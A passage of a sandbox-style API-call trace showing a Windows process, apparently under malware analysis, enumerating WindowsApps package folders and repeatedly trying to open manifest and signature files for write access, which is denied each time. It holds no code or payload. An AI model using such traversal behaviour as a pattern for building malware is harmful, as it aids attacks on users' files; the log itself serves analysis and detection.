	[0090.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e89a0) returned 1

Thread:
	id = 873
	os_tid = 0x574

	[0082.101] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.101] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.101] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.101] GetLastError () returned 0x5
	[0082.102] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ef10) returned 1

Thread:
	id = 874
	os_tid = 0xa64

	[0082.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4766e10
	[0082.103] wcscpy (in: _Dest=0x4766e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.103] wcscat (in: _Dest=0x4766e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.103] wcscat (in: _Dest=0x4766e10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0082.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaaebeeeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6d90
	[0082.103] wcscmp (_String1=".", _String2=".") returned 0
	[0082.103] FindNextFileW (in: hFindFile=0x46a6d90, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaaebeeeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.103] wcscmp (_String1="..", _String2=".") returned 1
	[0082.103] wcscmp (_String1="..", _String2="..") returned 0
	[0082.103] FindNextFileW (in: hFindFile=0x46a6d90, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaaebeeeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.103] FindClose (in: hFindFile=0x46a6d90 | out: hFindFile=0x46a6d90) returned 1
	[0082.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0082.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766e10) returned 1
	[0082.103] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765a10) returned 1

Thread:
	id = 875
	os_tid = 0xe14

	[0082.104] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.106] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.108] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.109] GetLastError () returned 0x5
	[0082.109] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1

Thread:
	id = 876
	os_tid = 0xc70

	[0082.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x46a5bf0
	[0082.112] wcscpy (in: _Dest=0x46a5bf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.112] wcscat (in: _Dest=0x46a5bf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.112] wcscat (in: _Dest=0x46a5bf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0082.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9730ad4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x96c0f12e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6d90
	[0082.113] wcscmp (_String1=".", _String2=".") returned 0
	[0082.113] FindNextFileW (in: hFindFile=0x46a6d90, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9730ad4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x96c0f12e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.113] wcscmp (_String1="..", _String2=".") returned 1
	[0082.113] wcscmp (_String1="..", _String2="..") returned 0
	[0082.113] FindNextFileW (in: hFindFile=0x46a6d90, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96c0f12e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96c0f12e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x46bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.113] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.113] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4765b10
	[0082.113] wcscpy (in: _Dest=0x4765b10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.113] wcscat (in: _Dest=0x4765b10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.114] wcscat (in: _Dest=0x4765b10, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.885] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.885] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.885] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.885] GetLastError () returned 0x5
	[0090.885] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765b10) returned 1
	[0090.885] FindNextFileW (in: hFindFile=0x46a6d90, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96c0f12e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96c0f12e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96c0f12e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x46bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.885] FindClose (in: hFindFile=0x46a6d90 | out: hFindFile=0x46a6d90) returned 1
	[0090.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0090.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5bf0) returned 1
	[0090.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9ab0) returned 1

Thread:
	id = 877
	os_tid = 0xab0

	[0082.114] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.115] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.115] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.115] GetLastError () returned 0x5
	[0082.115] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.115] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477cda0) returned 1

Thread:
	id = 878
	os_tid = 0xa70

	[0082.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4766c10
	[0082.116] wcscpy (in: _Dest=0x4766c10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.116] wcscat (in: _Dest=0x4766c10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.116] wcscat (in: _Dest=0x4766c10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711198
	[0082.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6dd0
	[0082.117] wcscmp (_String1=".", _String2=".") returned 0
	[0082.117] FindNextFileW (in: hFindFile=0x46a6dd0, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.117] wcscmp (_String1="..", _String2=".") returned 1
	[0082.117] wcscmp (_String1="..", _String2="..") returned 0
	[0082.118] FindNextFileW (in: hFindFile=0x46a6dd0, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3c9c41d, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xa973141d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3c9c41d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.118] FindClose (in: hFindFile=0x46a6dd0 | out: hFindFile=0x46a6dd0) returned 1
	[0082.118] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711198) returned 1
	[0082.118] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766c10) returned 1
	[0082.118] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751e80) returned 1

Thread:
	id = 879
	os_tid = 0x19c

	[0082.119] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.121] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.123] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.124] GetLastError () returned 0x5
	[0082.124] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.125] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c968) returned 1

Thread:
	id = 880
	os_tid = 0x25c

	[0082.126] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0082.129] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.130] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.131] GetLastError () returned 0x5
	[0082.131] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ce78) returned 1

Thread:
	id = 881
	os_tid = 0x38c

	[0082.134] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a5da0
	[0082.134] wcscpy (in: _Dest=0x46a5da0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0082.134] wcscat (in: _Dest=0x46a5da0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.134] wcscat (in: _Dest=0x46a5da0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.134] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711198
	[0082.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9cb9e99, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6e10
	[0082.135] wcscmp (_String1=".", _String2=".") returned 0
	[0082.135] FindNextFileW (in: hFindFile=0x46a6e10, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9cb9e99, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.135] wcscmp (_String1="..", _String2=".") returned 1
	[0082.135] wcscmp (_String1="..", _String2="..") returned 0
	[0082.135] FindNextFileW (in: hFindFile=0x46a6e10, lpFindFileData=0x4711198 | out: lpFindFileData=0x4711198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0082.135] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0082.135] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0082.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x47516c0
	[0082.135] wcscpy (in: _Dest=0x47516c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0082.135] wcscat (in: _Dest=0x47516c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.135] wcscat (in: _Dest=0x47516c0, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.852] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
